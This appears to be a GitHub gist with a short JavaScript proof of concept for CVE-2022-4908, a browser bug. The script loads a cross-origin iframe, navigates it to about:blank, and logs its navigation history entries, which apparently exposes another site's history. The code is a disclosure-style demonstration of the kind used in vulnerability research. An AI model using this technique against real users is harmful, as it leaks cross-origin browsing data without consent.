Skip to content

Instantly share code, notes, and snippets.

@deryilz
Created October 10, 2023 01:14
Show Gist options
  • Save deryilz/eb46b3ed9e35fc48651d4e1583433042 to your computer and use it in GitHub Desktop.
Save deryilz/eb46b3ed9e35fc48651d4e1583433042 to your computer and use it in GitHub Desktop.
CVE-2022-4908 repro for twitter
let x=document.createElement('iframe')
x.src='https://example.com'
document.body.appendChild(x)
setTimeout(()=>{
x.contentWindow.location.href='about:blank'
}, 1000)
setTimeout(()=>{
console.log(x.contentWindow.navigation.entries())
}, 2000)
// crude
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment